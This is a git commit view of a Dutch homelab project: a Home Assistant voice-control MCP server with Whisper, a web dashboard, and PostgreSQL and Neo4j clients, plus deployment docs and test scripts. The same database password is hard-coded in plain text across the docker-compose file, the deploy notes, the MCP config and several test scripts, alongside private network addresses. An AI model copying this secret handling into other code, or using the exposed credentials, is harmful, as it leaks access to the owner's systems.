Initial commit: HA Voice Control MCP server

This commit is contained in:
mo
2026-05-10 02:24:34 +02:00
commit ff3254cc87
38 changed files with 5322 additions and 0 deletions
+37
View File
@@ -0,0 +1,37 @@
# Bestanden die NIET in de Docker image hoeven
# (Dockerfile + docker-compose.yml blijven op de NAS, gaan niet in image)
# Python cache
__pycache__/
*.pyc
*.pyo
*.egg-info/
.mypy_cache/
# Lokaal
.env
.git/
# Test/tmp bestanden
_test*.py
_db_check*.py
_fix_*.py
_smoke*.py
_check_*.py
*.db
*.wav
*.mp3
*.log
# Documentatie en tools (niet nodig in container)
*.md
nginx/
mcp_config_example.toml
scanner.py
import_to_neo4j.py
import_passwords.py
setup_dbeaver.ps1
dbeaver-connections-import.json
r.json
resp.json
args.json
+44
View File
@@ -0,0 +1,44 @@
# Home Assistant Voice Control — configuratie
# Kopieer dit bestand naar .env en vul je eigen waarden in
# ── Home Assistant ──────────────────────────────────────────────────────────
# URL van je Home Assistant instantie
HA_URL=http://192.168.1.235:8123
# Long-lived access token (aanmaken via HA → Profiel → Beveiliging)
HA_TOKEN=verander_dit_in_jouw_token
# ── Whisper speech-to-text ──────────────────────────────────────────────────
# "local" = faster-whisper (offline, lokaal) — aanbevolen
# "openai" = OpenAI Whisper API (vereist API key en internet)
WHISPER_MODE=local
# Model voor lokale modus: tiny, base, small, medium, large-v3
# "base" is een goede balans voor Nederlands (~145 MB)
WHISPER_MODEL=base
# Alleen nodig bij WHISPER_MODE=openai
OPENAI_API_KEY=
# Rekenapparaat: "auto", "cpu", of "cuda" (GPU)
WHISPER_DEVICE=auto
# ── Web server ──────────────────────────────────────────────────────────────
WEB_HOST=127.0.0.1
WEB_PORT=8765
# CORS origins (komma-gescheiden). "*" = alles toestaan
CORS_ORIGINS=*
# ── Neo4j graph database ────────────────────────────────────────────────────
NEO4J_URI=neo4j://192.168.1.211:49153
NEO4J_USER=neo4j
NEO4J_PASSWORD=
# ── PostgreSQL ──────────────────────────────────────────────────────────────
PG_HOST=192.168.1.211
PG_PORT=5433
PG_USER=mo
PG_PASSWORD=
PG_DATABASE=homelab
+16
View File
@@ -0,0 +1,16 @@
# Python
__pycache__/
*.pyc
*.pyo
# Environment
.env
.env.local
# IDE
.vscode/
.idea/
# OS
Thumbs.db
.DS_Store
+81
View File
@@ -0,0 +1,81 @@
# DBeaver — Database Connecties voor Homelab
## PostgreSQL (homelab op Synology NAS)
**Connection type:** PostgreSQL
| Instelling | Waarde |
|----------------------|---------------------------------|
| Host | 192.168.1.211 |
| Port | 5433 |
| Database | homelab |
| Username | mo |
| Password | (zie .env bestand) |
| SSL | disable (lokaal netwerk) |
**Schemas om te bekijken:**
- `dashboard` — favorites, passwords, calendar_events, settings, file_index, photos, widgets
**DBeaver stappen:**
1. New Database Connection → PostgreSQL
2. Vul bovenstaande gegevens in
3. Test Connection → Finish
4. In Database Navigator: rechtermuis op Tables → Refresh
## Neo4j (netwerk graph op Synology NAS)
**Connection type:** Neo4j (via Bolt)
| Instelling | Waarde |
|----------------------|---------------------------------|
| URI | neo4j://192.168.1.211:49153 |
| Browser UI | http://192.168.1.211:49154 |
| Username | neo4j |
| Password | (zie .env bestand) |
**DBeaver stappen (vereist Neo4j JDBC driver):**
1. New Database Connection → Neo4j
2. Vul URI, username, password in
3. Test Connection → Finish
4. Run queries zoals:
```cypher
MATCH (d:Device) RETURN d.ip, d.hostname, d.os_guess
MATCH (d:Device)-[:HAS_PORT]->(p:Port) RETURN d.ip, p.number, p.service
```
## Snelle setup via DBeaver CLI / Import
Je kunt ook deze `.dbeaver-data-sources.json` importeren:
```json
{
"folders": {},
"connections": {
"postgresql-homelab": {
"provider": "postgresql",
"driver": "postgresql-jdbc",
"name": "Homelab PostgreSQL",
"host": "192.168.1.211",
"port": "5433",
"database": "homelab",
"user": "mo",
"savePassword": true,
"configurationType": "MANUAL",
"properties": {
"connectTimeout": "20"
}
},
"neo4j-homelab": {
"provider": "neo4j",
"driver": "neo4j-jdbc",
"name": "Homelab Neo4j",
"url": "neo4j://192.168.1.211:49153",
"user": "neo4j",
"savePassword": true,
"configurationType": "MANUAL"
}
}
}
```
+22
View File
@@ -0,0 +1,22 @@
# Dockerfile — HA Voice Control + Dashboard voor Synology NAS
FROM python:3.12-slim
WORKDIR /app
# Systeem dependencies (ffmpeg nodig voor Whisper audio)
RUN apt-get update && apt-get install -y --no-install-recommends \
libsndfile1 \
ffmpeg \
&& rm -rf /var/lib/apt/lists/*
# Python dependencies (twee losse stappen = betere caching)
COPY requirements.txt requirements-neo4j.txt ./
RUN pip install --no-cache-dir -r requirements.txt -r requirements-neo4j.txt
# Applicatiecode
COPY config.py .
COPY src/ ./src/
COPY static/ ./static/
EXPOSE 8765
CMD ["python", "-m", "src.web_server"]
+238
View File
@@ -0,0 +1,238 @@
# HA Voice Control — MCP Server + Webinterface
Spraakgestuurde Home Assistant bediening via Whisper voice-to-text.
Druk op een knop, spreek je commando, en stuur je smarthome aan.
## Architectuur
```
┌──────────────┐ ┌──────────────────┐ ┌─────────────────┐
│ Browser │────▶│ nginx (SSL) │────▶│ FastAPI │
│ (microfoon) │ │ ha.el-kadi.nl │ │ :8765 │
└──────────────┘ └──────────────────┘ │ │
│ ┌─────────────┐ │
┌──────────────┐ │ │ Whisper │ │
│ Claude / │──▶ MCP stdio ───────────────▶│ │ (spraak→tekst)│ │
│ DeepSeek │ │ └─────────────┘ │
└──────────────┘ │ ┌─────────────┐ │
│ │ HA REST API │ │
│ │ 192.168... │ │
│ └─────────────┘ │
└──────────────────┘
```
Twee interfaces:
1. **Web UI** op `www.ha.el-kadi.nl` — push-to-talk knop in de browser
2. **MCP Server** — via Claude Desktop / DeepSeek TUI (stdio)
Beide gebruiken dezelfde Whisper-transcriptie en Home Assistant client.
## Vereisten
- Python 3.10+
- Home Assistant met een [long-lived access token](https://www.home-assistant.io/docs/authentication/#your-account-profile)
- nginx (voor SSL en domein)
- Een domein (hier: `ha.el-kadi.nl`) met DNS die naar jouw server wijst
- Optioneel: CUDA-compatibele GPU voor snellere lokale Whisper
## Installatie
### 1. Clone en installeer dependencies
```bash
cd /opt # of een andere gewenste locatie
git clone <jouw-repo> ha-voice-control
cd ha-voice-control
python -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
```
### 2. Configuratie
Kopieer het voorbeeld en vul je gegevens in:
```bash
cp .env.example .env
```
Bewerk `.env`:
```env
# Home Assistant
HA_URL=http://192.168.1.235:8123
HA_TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
# Whisper: "local" (faster-whisper, offline) of "openai" (API)
WHISPER_MODE=local
WHISPER_MODEL=base
# Web server
WEB_HOST=127.0.0.1
WEB_PORT=8765
```
De Home Assistant token maak je aan via:
**Home Assistant → Profiel (linksonder) → Beveiliging → Lange-levensduur toegangstokens**
### 3. Eerste keer Whisper model downloaden
Bij de eerste start met `WHISPER_MODE=local` downloadt faster-whisper automatisch het model.
Beschikbare modellen (oplopend in grootte/nauwkeurigheid):
- `tiny` / `tiny.en` — ~75 MB, snelste
- `base` / `base.en` — ~145 MB, aanbevolen voor NL
- `small` / `small.en` — ~488 MB
- `medium` / `medium.en` — ~1.5 GB
- `large-v3` — ~3 GB, meest accuraat
`.en` varianten zijn alleen voor Engels. Voor Nederlands gebruik je de meertalige versies.
### 4. Start de web server
```bash
source venv/bin/activate
python -m src.web_server
# Of direct met uvicorn:
uvicorn src.web_server:app --host 127.0.0.1 --port 8765
```
Test of het werkt: `curl http://127.0.0.1:8765/api/health`
### 5. nginx + SSL configureren
```bash
# Kopieer de nginx config
sudo cp nginx/ha.el-kadi.nl.conf /etc/nginx/sites-available/
sudo ln -s /etc/nginx/sites-available/ha.el-kadi.nl.conf /etc/nginx/sites-enabled/
# SSL certificaten met Let's Encrypt (certbot)
sudo certbot --nginx -d ha.el-kadi.nl -d www.ha.el-kadi.nl
# Pas de ssl_certificate paden aan in de config indien nodig
# Herlaad nginx
sudo nginx -t && sudo systemctl reload nginx
```
### 6. Systemd service (zodat de server automatisch start)
Maak `/etc/systemd/system/ha-voice-control.service`:
```ini
[Unit]
Description=HA Voice Control Web Server
After=network.target
[Service]
Type=simple
User=www-data
WorkingDirectory=/opt/ha-voice-control
EnvironmentFile=/opt/ha-voice-control/.env
ExecStart=/opt/ha-voice-control/venv/bin/python -m src.web_server
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
```
```bash
sudo systemctl daemon-reload
sudo systemctl enable --now ha-voice-control
```
## MCP Server gebruiken
### Claude Desktop
Voeg toe aan je `claude_desktop_config.json`:
```json
{
"mcpServers": {
"ha-voice": {
"command": "python",
"args": ["-m", "src.mcp_server"],
"cwd": "/opt/ha-voice-control",
"env": {
"HA_TOKEN": "jouw-token-hier",
"WHISPER_MODE": "local"
}
}
}
}
```
### DeepSeek TUI
In je `config.toml`:
```toml
[[mcp_servers]]
name = "ha-voice"
command = "python"
args = ["-m", "src.mcp_server"]
cwd = "/opt/ha-voice-control"
env = { HA_TOKEN = "jouw-token-hier", WHISPER_MODE = "local" }
```
### Beschikbare MCP tools
| Tool | Beschrijving |
|------|-------------|
| `speak_command` | Base64 audio → transcribeer → voer uit via HA |
| `transcribe_audio` | Alleen transcriberen, geen actie |
| `send_text_command` | Stuur tekst naar HA conversation agent |
| `list_lights` | Toon alle lampen en hun status |
| `control_light` | Zet een lamp aan/uit/toggle met helderheid |
| `list_all_entities` | Toon alle HA entities |
| `get_entity_state` | State van één entity opvragen |
| `call_ha_service` | Roep een willekeurige HA service aan |
## API endpoints (web server)
| Methode | Pad | Beschrijving |
|---------|-----|-------------|
| `GET` | `/api/health` | Health check |
| `POST` | `/api/transcribe` | Upload audio (multipart), krijg transcriptie + HA resultaat |
| `POST` | `/api/command` | `{"text": "doe de lampen uit"}` → HA |
| `GET` | `/api/lights` | Alle lampen met status |
| `POST` | `/api/light/control` | `{"entity_id": "...", "action": "turn_on"}` |
| `GET` | `/api/entities?domain=light` | Entities (optioneel gefilterd) |
| `GET` | `/api/entity/{entity_id}` | Volledige state van één entity |
| `POST` | `/api/service` | `{"domain": "light", "service": "turn_on", "entity_id": "..."}` |
## Gebruik
1. Open `https://www.ha.el-kadi.nl` in je browser (Chrome/Edge/Safari op desktop of mobiel)
2. Geef de browser toestemming voor de microfoon
3. Houd de microfoonknop ingedrukt en spreek je commando:
- "Doe de lampen in de woonkamer aan"
- "Zet alle lichten uit"
- "Dim de slaapkamer naar 50 procent"
4. Laat de knop los — je commando wordt getranscribeerd en uitgevoerd
5. Je ziet het resultaat verschijnen
De lampen onderaan de pagina kun je ook direct met de toggle-schakelaars bedienen.
## Troubleshooting
**"Microfoon niet beschikbaar"**
- De site moet via HTTPS geladen worden (browsers vereisen dit voor `getUserMedia`)
- Controleer of nginx SSL correct is ingesteld
- Lokaal testen op `localhost` werkt ook zonder HTTPS
**Transcriptie werkt niet / foutmelding**
- Check of `faster-whisper` correct is geïnstalleerd: `pip list | grep faster`
- Controleer de logs: `journalctl -u ha-voice-control -f`
- Bij Open AI-modus: check of `OPENAI_API_KEY` is ingesteld
- Het model wordt de eerste keer gedownload; dit kan even duren
**"Fout bij uitvoeren" / Home Assistant niet bereikbaar**
- Controleer of `HA_URL` klopt en bereikbaar is vanaf de server
- Verifieer de token: `curl -H "Authorization: Bearer $HA_TOKEN" $HA_URL/api/`
- Check of de conversation agent in HA is ingeschakeld (Standaard is `conversation` integratie actief)
**Audio wordt niet goed herkend**
- Gebruik een groter Whisper-model (`small` of `medium`) voor betere NL herkenning
- Spreek duidelijk en dicht bij de microfoon
- Verminder achtergrondgeluid
+75
View File
@@ -0,0 +1,75 @@
# Deployen op Synology NAS
## Stap 1: Code naar je NAS kopiëren
```bash
# Vanaf je Windows machine:
scp -r C:\Users\moel-\Desktop\dev\mcp mo@192.168.1.211:/volume1/docker/ha-voice-control/
# Of via SMB: \\192.168.1.211\docker\ha-voice-control\
```
Je hebt deze bestanden nodig op de NAS:
- `Dockerfile`, `docker-compose.yml`, `.dockerignore`
- `config.py`, `requirements.txt`, `requirements-neo4j.txt`
- `src/` (volledige map)
- `static/` (volledige map)
## Stap 2: .env aanmaken op de NAS
```bash
ssh mo@192.168.1.211
cd /volume1/docker/ha-voice-control
nano .env
```
Inhoud van `.env`:
```env
HA_TOKEN=jouw-home-assistant-token
PG_PASSWORD=WaQTUw2t
NEO4J_PASSWORD=WaQTUw2t
```
## Stap 3: Bouwen en starten
```bash
cd /volume1/docker/ha-voice-control
# Bouw de image (duurt ~5 min eerste keer)
docker-compose build
# Start de container
docker-compose up -d
# Check logs
docker-compose logs -f
```
## Stap 4: Testen
```bash
curl http://localhost:8765/api/health
curl http://localhost:8765/api/dashboard/overview
```
Dashboard: `http://192.168.1.211:8765/dashboard`
Voice Control: `http://192.168.1.211:8765`
## Optioneel: achter nginx/reverse proxy
Als je de interface via je bestaande domein (`ha.el-kadi.nl`) wilt:
- Voeg een proxy_pass toe in je nginx config naar `http://localhost:8765`
## Whisper model aanpassen
In `docker-compose.yml`, pas `WHISPER_MODEL` aan:
- `tiny` (~75MB) — snelste, voor simpele commando's
- `base` (~145MB) — aanbevolen voor Nederlands
- `small` (~488MB) — betere herkenning, trager op NAS CPU
## Container Manager (DSM UI)
Als je DSM's Container Manager gebruikt i.p.v. CLI:
1. Open Container Manager → Project → Create
2. Project name: `ha-voice-control`
3. Selecteer `/volume1/docker/ha-voice-control/docker-compose.yml`
4. Klik Next → Done
+64
View File
@@ -0,0 +1,64 @@
"""
Configuratie voor de MCP Home Assistant Voice Control applicatie.
Alle instellingen kunnen worden overschreven via omgevingsvariabelen.
"""
import os
from pathlib import Path
# Laad .env bestand als python-dotenv beschikbaar is
try:
from dotenv import load_dotenv
_env_path = Path(__file__).resolve().parent / ".env"
if _env_path.exists():
load_dotenv(_env_path)
except ImportError:
pass
# ── Home Assistant ──────────────────────────────────────────────────────────
HA_URL = os.getenv("HA_URL", "http://192.168.1.235:8123")
HA_TOKEN = os.getenv("HA_TOKEN", "")
# ── Whisper transcriptie ────────────────────────────────────────────────────
# "local" gebruikt faster-whisper (offline, CPU/GPU)
# "openai" gebruikt de OpenAI API (sneller, maar vereist API key)
WHISPER_MODE = os.getenv("WHISPER_MODE", "local")
# Model voor lokale modus: tiny, tiny.en, base, base.en, small, small.en,
# medium, medium.en, large-v3. "base" is een goede balans.
WHISPER_MODEL = os.getenv("WHISPER_MODEL", "base")
# Alleen nodig als WHISPER_MODE="openai"
OPENAI_API_KEY = os.getenv("OPENAI_API_KEY", "")
# Rekenapparaat voor faster-whisper: "auto", "cpu", "cuda"
WHISPER_DEVICE = os.getenv("WHISPER_DEVICE", "auto")
# ── Web server ──────────────────────────────────────────────────────────────
WEB_HOST = os.getenv("WEB_HOST", "127.0.0.1")
WEB_PORT = int(os.getenv("WEB_PORT", "8765"))
# CORS origins toegestaan (voor externe frontend hosting)
CORS_ORIGINS = os.getenv("CORS_ORIGINS", "*").split(",")
# ── Neo4j graph database ────────────────────────────────────────────────────
NEO4J_URI = os.getenv("NEO4J_URI", "neo4j://192.168.1.211:49153")
NEO4J_USER = os.getenv("NEO4J_USER", "neo4j")
NEO4J_PASSWORD = os.getenv("NEO4J_PASSWORD", "")
# ── PostgreSQL ──────────────────────────────────────────────────────────────
PG_HOST = os.getenv("PG_HOST", "192.168.1.211")
PG_PORT = int(os.getenv("PG_PORT", "5433"))
PG_USER = os.getenv("PG_USER", "mo")
PG_PASSWORD = os.getenv("PG_PASSWORD", "")
PG_DATABASE = os.getenv("PG_DATABASE", "homelab")
# ── Paden ───────────────────────────────────────────────────────────────────
PROJECT_ROOT = Path(__file__).resolve().parent
STATIC_DIR = PROJECT_ROOT / "static"
+38
View File
@@ -0,0 +1,38 @@
# docker-compose.yml — HA Voice Control voor Synology NAS
# Plaats op je NAS: /volume1/docker/ha-voice-control/
#
# Bouwen & starten: docker-compose up -d --build
# Stoppen: docker-compose down
# Logs: docker-compose logs -f
services:
ha-voice-control:
build: .
container_name: ha-voice-control
restart: unless-stopped
network_mode: host # directe toegang tot PostgreSQL + Neo4j op de NAS
environment:
- HA_URL=http://192.168.1.235:8123
- HA_TOKEN=${HA_TOKEN:-}
- WHISPER_MODE=local
- WHISPER_MODEL=tiny
- WHISPER_DEVICE=cpu
- WEB_HOST=0.0.0.0
- WEB_PORT=8765
- CORS_ORIGINS=*
- PG_HOST=localhost
- PG_PORT=5433
- PG_USER=mo
- PG_PASSWORD=${PG_PASSWORD:-WaQTUw2t}
- PG_DATABASE=homelab
- NEO4J_URI=neo4j://localhost:49153
- NEO4J_USER=neo4j
- NEO4J_PASSWORD=${NEO4J_PASSWORD:-WaQTUw2t}
volumes:
- whisper-cache:/root/.cache/huggingface
volumes:
whisper-cache:
+25
View File
@@ -0,0 +1,25 @@
# DeepSeek TUI — MCP Server Configuratie voor HA Voice Control
# Plaats dit in je DeepSeek TUI config.toml (meestal ~/.deepseek/config.toml):
[[mcp_servers]]
name = "ha-voice-control"
command = "python"
args = ["-m", "src.mcp_server"]
cwd = "C:\\Users\\moel-\\Desktop\\dev\\mcp"
env = { HA_TOKEN = "", WHISPER_MODE = "local", NEO4J_PASSWORD = "WaQTUw2t", PG_PASSWORD = "WaQTUw2t" }
# ── Optioneel: auto-start netwerk context injectie ────────────────────────
# DeepSeek TUI zal de MCP tools automatisch zien.
# Roep `get_network_context` aan voor een volledig netwerkoverzicht als RAG context.
#
# Tools beschikbaar:
# get_network_context — Volledige netwerk/homelab context (RAG)
# query_network — Zoekopdrachten in Neo4j netwerk DB
# list_lights — HA lampen status
# control_light — Lamp aan/uit/dim
# send_text_command — Stuur NL commando naar HA
# speak_command — Spraak → transcriptie → HA
# list_all_entities — Alle HA entities
# get_entity_state — State van één entity
# call_ha_service — Willekeurige HA service
+2
View File
@@ -0,0 +1,2 @@
# Neo4j graph database driver
neo4j>=5.20.0
+27
View File
@@ -0,0 +1,27 @@
# MCP protocol
mcp>=1.0.0
# Web server + API
fastapi>=0.110.0
uvicorn[standard]>=0.29.0
python-multipart>=0.0.9
aiofiles>=23.0.0
# HTTP client (Home Assistant API)
httpx>=0.27.0
# Whisper speech-to-text (lokale modus)
faster-whisper>=1.0.0
# OpenAI API (optioneel, voor API-gebaseerde whisper)
openai>=1.0.0
# Database clients
psycopg2-binary>=2.9.0
# Configuratie & data validatie
pydantic>=2.0.0
pydantic-settings>=2.0.0
# .env bestand laden
python-dotenv>=1.0.0
+10
View File
@@ -0,0 +1,10 @@
from mcp.server import Server
s = Server("test")
# Check for tool registration methods
methods = [m for m in dir(s) if 'tool' in m.lower()]
print("Tool-related methods:", methods)
# Check type
print("Type:", type(s))
# Check available decorators/functions
all_attrs = [m for m in dir(s) if not m.startswith('_')]
print("Public attrs:", all_attrs[:30])
+22
View File
@@ -0,0 +1,22 @@
from mcp.server import Server
from mcp.types import Tool
import inspect
s = Server("test")
# Check if list_tools is a decorator or a method to override
print("list_tools signature:", inspect.signature(s.list_tools))
print("call_tool signature:", inspect.signature(s.call_tool))
# Check if there's a decorator pattern
import mcp.server
print("\nmcp.server module contents:")
for name in dir(mcp.server):
if not name.startswith('_'):
print(f" {name}")
# Check mcp.server.lowlevel
import mcp.server.lowlevel.server as ll
for name in dir(ll):
if 'tool' in name.lower():
print(f" lowlevel: {name}")
+13
View File
@@ -0,0 +1,13 @@
from mcp.server import FastMCP
import inspect
# Check FastMCP API
print("FastMCP methods with 'tool':")
for name in dir(FastMCP):
if 'tool' in name.lower():
print(f" {name}")
# Check if it has a tool decorator
if hasattr(FastMCP, 'tool'):
print("\nFastMCP.tool is a decorator!")
print(inspect.signature(FastMCP.tool))
+105
View File
@@ -0,0 +1,105 @@
"""Database verkenning: PostgreSQL + Neo4j"""
import os, sys
os.environ["PG_HOST"] = "192.168.1.211"
os.environ["PG_PORT"] = "5433"
os.environ["PG_USER"] = "mo"
os.environ["PG_PASSWORD"] = "WaQTUw2t"
os.environ["PG_DATABASE"] = "homelab"
os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153"
os.environ["NEO4J_USER"] = "neo4j"
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
print("=" * 70)
print("POSTGRESQL VERKENNING")
print("=" * 70)
try:
from src.pg_client import query
# Alle schemas
print("\n--- Schemas ---")
schemas = query("SELECT schema_name FROM information_schema.schemata ORDER BY schema_name")
for s in schemas:
print(f" {s['schema_name']}")
# Alle tabellen
print("\n--- Tabellen ---")
tables = query("""
SELECT table_schema, table_name
FROM information_schema.tables
WHERE table_type = 'BASE TABLE'
ORDER BY table_schema, table_name
""")
for t in tables:
print(f" {t['table_schema']}.{t['table_name']}")
# Per tabel details + sample data
for t in tables:
schema = t['table_schema']
name = t['table_name']
full = f"{schema}.{name}"
cols = query("""
SELECT column_name, data_type
FROM information_schema.columns
WHERE table_schema = %s AND table_name = %s
ORDER BY ordinal_position
""", (schema, name))
try:
count = query(f"SELECT count(*) as cnt FROM {full}", fetch="one")
cnt = count['cnt']
except Exception as e:
cnt = f"ERR: {e}"
print(f"\n [{cnt} rows] {full}")
col_names = [c['column_name'] for c in cols]
print(f" Kolommen: {', '.join(col_names)}")
# Sample data (max 5 rijen)
if isinstance(cnt, int) and cnt > 0:
try:
rows = query(f"SELECT * FROM {full} LIMIT 5")
for i, row in enumerate(rows):
print(f" Row {i+1}: {dict(row)}")
except Exception as e:
print(f" Sample fout: {e}")
except Exception as e:
print(f"PostgreSQL FOUT: {e}")
import traceback
traceback.print_exc()
print("\n" + "=" * 70)
print("NEO4J VERKENNING")
print("=" * 70)
try:
from src.neo4j_client import get_driver, get_all_devices, get_scan_history, get_network_summary, close
devices = get_all_devices()
print(f"\nDevices: {len(devices)}")
for d in devices:
ports = [p.get('port') for p in (d.get('ports') or []) if p and p.get('port')]
print(f" {d['ip']:<16} {d.get('hostname','')[:30]:<30} {d.get('os_guess','')[:25]:<25} ports={ports}")
print(f"\n--- Scan History ---")
scans = get_scan_history()
for s in scans:
print(f" {s}")
print(f"\n--- Summary ---")
summary = get_network_summary()
print(f" {summary}")
close()
print("\nNeo4j: OK")
except Exception as e:
print(f"Neo4j FOUT: {e}")
import traceback
traceback.print_exc()
print("\nDONE.")
+94
View File
@@ -0,0 +1,94 @@
"""Gerichte database check: dashboard data + Neo4j"""
import os, sys, json
os.environ["PG_HOST"] = "192.168.1.211"
os.environ["PG_PORT"] = "5433"
os.environ["PG_USER"] = "mo"
os.environ["PG_PASSWORD"] = "WaQTUw2t"
os.environ["PG_DATABASE"] = "homelab"
os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153"
os.environ["NEO4J_USER"] = "neo4j"
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
# Fix encoding
sys.stdout.reconfigure(encoding='utf-8')
print("=" * 70)
print("DASHBOARD DATA (PostgreSQL)")
print("=" * 70)
from src.pg_client import query
# Favorites
print("\n--- FAVORITES (20 rows) ---")
rows = query("SELECT id, title, url, icon, category, sort_order, is_pinned FROM dashboard.favorites ORDER BY is_pinned DESC, sort_order")
for r in rows:
pinned = "📌" if r['is_pinned'] else " "
print(f" {pinned} [{r['id']}] {r['title']:<30} | {r['url']:<45} | {r['category']}")
# Settings
print("\n--- SETTINGS (5 rows) ---")
rows = query("SELECT * FROM dashboard.settings ORDER BY key")
for r in rows:
print(f" {r['key']:<25} = {r['value']}")
# Passwords
print("\n--- PASSWORDS ---")
rows = query("SELECT count(*) as c FROM dashboard.passwords", fetch="one")
print(f" Count: {rows['c']}")
# Calendar
print("\n--- CALENDAR ---")
rows = query("SELECT count(*) as c FROM dashboard.calendar_events", fetch="one")
print(f" Count: {rows['c']}")
# Files
print("\n--- FILE INDEX ---")
rows = query("SELECT count(*) as c FROM dashboard.file_index", fetch="one")
print(f" Count: {rows['c']}")
# Photos
print("\n--- PHOTOS ---")
rows = query("SELECT count(*) as c FROM dashboard.photos", fetch="one")
print(f" Count: {rows['c']}")
# Widgets
print("\n--- WIDGETS ---")
rows = query("SELECT count(*) as c FROM dashboard.dashboard_widgets", fetch="one")
print(f" Count: {rows['c']}")
# ── NEO4J ──────────────────────────────────────────────────────
print("\n" + "=" * 70)
print("NEO4J NETWERK DATA")
print("=" * 70)
from src.neo4j_client import get_driver, get_all_devices, get_scan_history, get_network_summary, close
try:
devices = get_all_devices()
print(f"\nDevices: {len(devices)}")
for d in devices:
ports = sorted([p.get('port') for p in (d.get('ports') or []) if p and p.get('port')])
print(f" {d['ip']:<16} {d.get('hostname','')[:35]:<35} {d.get('os_guess','')[:28]:<28} ports={ports}")
print("\n--- Scan History ---")
for s in get_scan_history():
print(f" {s['id']} @ {s.get('timestamp','?')}{s.get('hosts_active','?')} hosts")
print("\n--- Summary ---")
s = get_network_summary()
print(f" Total devices: {s.get('total_devices','?')}")
print(f" Unique ports: {s.get('total_ports','?')}")
os_types = s.get('os_types', [])
from collections import Counter
for os_t, cnt in Counter(os_types).most_common():
print(f" {os_t}: {cnt}")
close()
except Exception as e:
print(f"Neo4j ERROR: {e}")
import traceback
traceback.print_exc()
print("\nDONE.")
+29
View File
@@ -0,0 +1,29 @@
"""Verwijder duplicate favorites (ID 11-20)."""
import os, sys
os.environ["PG_HOST"] = "192.168.1.211"
os.environ["PG_PORT"] = "5433"
os.environ["PG_USER"] = "mo"
os.environ["PG_PASSWORD"] = "WaQTUw2t"
os.environ["PG_DATABASE"] = "homelab"
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from src.pg_client import query, execute
print("Voor opschonen:")
rows = query("SELECT id, title FROM dashboard.favorites ORDER BY id")
for r in rows:
print(f" [{r['id']}] {r['title']}")
# Verwijder IDs 11-20
deleted = execute("DELETE FROM dashboard.favorites WHERE id >= 11 AND id <= 20")
print(f"\n{deleted} rows verwijderd.")
# Reset sequence
execute("SELECT setval('dashboard.favorites_id_seq', (SELECT max(id) FROM dashboard.favorites))")
print("\nNa opschonen:")
rows = query("SELECT id, title FROM dashboard.favorites ORDER BY id")
for r in rows:
print(f" [{r['id']}] {r['title']}")
print("\nDone.")
+58
View File
@@ -0,0 +1,58 @@
"""Quick smoke test voor imports."""
import os, sys
os.environ["PG_HOST"] = "192.168.1.211"
os.environ["PG_PORT"] = "5433"
os.environ["PG_USER"] = "mo"
os.environ["PG_PASSWORD"] = "WaQTUw2t"
os.environ["PG_DATABASE"] = "homelab"
os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153"
os.environ["NEO4J_USER"] = "neo4j"
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
print("Testing imports...")
try:
from src.web_server import app
print(" web_server: OK")
except Exception as e:
print(f" web_server: FAIL - {e}")
try:
from src.dashboard_api import router
print(" dashboard_api: OK")
except Exception as e:
print(f" dashboard_api: FAIL - {e}")
try:
from src.mcp_server import server
print(" mcp_server: OK")
except Exception as e:
print(f" mcp_server: FAIL - {e}")
try:
from src.ha_client import HAClient
print(" ha_client: OK")
except Exception as e:
print(f" ha_client: FAIL - {e}")
try:
from src.whisper_client import transcribe
print(" whisper_client: OK")
except Exception as e:
print(f" whisper_client: FAIL - {e}")
try:
from src.pg_client import query
print(" pg_client: OK")
except Exception as e:
print(f" pg_client: FAIL - {e}")
try:
from src.neo4j_client import get_all_devices, close
devices = get_all_devices()
print(f" neo4j_client: OK ({len(devices)} devices)")
close()
except Exception as e:
print(f" neo4j_client: FAIL - {e}")
print("\nAll imports verified.")
+25
View File
@@ -0,0 +1,25 @@
import urllib.request, json
def get(path):
r = urllib.request.urlopen(f'http://127.0.0.1:8765{path}', timeout=5)
return json.loads(r.read())
print('=== Health ===')
print(get('/api/health'))
print('\n=== Favorites (raw) ===')
r = get('/api/dashboard/favorites')
print(f'Type: {type(r).__name__}, len: {len(r) if isinstance(r, list) else "N/A"}')
if isinstance(r, list) and r:
print(f'First item type: {type(r[0]).__name__}')
print(f'First item: {r[0]}')
elif isinstance(r, dict):
print(f'Keys: {list(r.keys())}')
if 'detail' in r: print(f'Error: {r}')
print('\n=== Overview ===')
r = get('/api/dashboard/overview')
print(json.dumps({k:v for k,v in r.items() if not isinstance(v, list)}, indent=2))
print('\n=== Dashboard HTML ===')
r2 = urllib.request.urlopen('http://127.0.0.1:8765/dashboard', timeout=5)
print(f'Status: {r2.status}, {len(r2.read())} bytes')
+32
View File
@@ -0,0 +1,32 @@
"""Quick test: pg_client + dashboard API."""
import os, sys
os.environ["NEO4J_PASSWORD"] = "WaQTUw2t"
os.environ["PG_PASSWORD"] = "WaQTUw2t"
# Test PostgreSQL connectie
from src.pg_client import query
print("PostgreSQL test:")
try:
r = query("SELECT count(*) as cnt FROM dashboard.favorites", fetch="one")
print(f" Favorites: {r['cnt']}")
r2 = query("SELECT count(*) as cnt FROM dashboard.calendar_events", fetch="one")
print(f" Events: {r2['cnt']}")
r3 = query("SELECT count(*) as cnt FROM dashboard.passwords", fetch="one")
print(f" Passwords: {r3['cnt']}")
print(" [OK] PostgreSQL werkt!")
except Exception as e:
print(f" [FOUT] {e}")
# Test Neo4j connectie
print("\nNeo4j test:")
try:
from src.neo4j_client import get_driver, get_all_devices, close
devices = get_all_devices()
print(f" Devices: {len(devices)}")
print(f" Eerste: {devices[0]['ip']} - {devices[0]['hostname']}")
print(" [OK] Neo4j werkt!")
close()
except Exception as e:
print(f" [FOUT] {e}")
print("\nAlle connecties werken. Server kan starten.")
+53
View File
@@ -0,0 +1,53 @@
"""Test alle dashboard API endpoints."""
import urllib.request, json
BASE = "http://127.0.0.1:8765"
def get(path):
try:
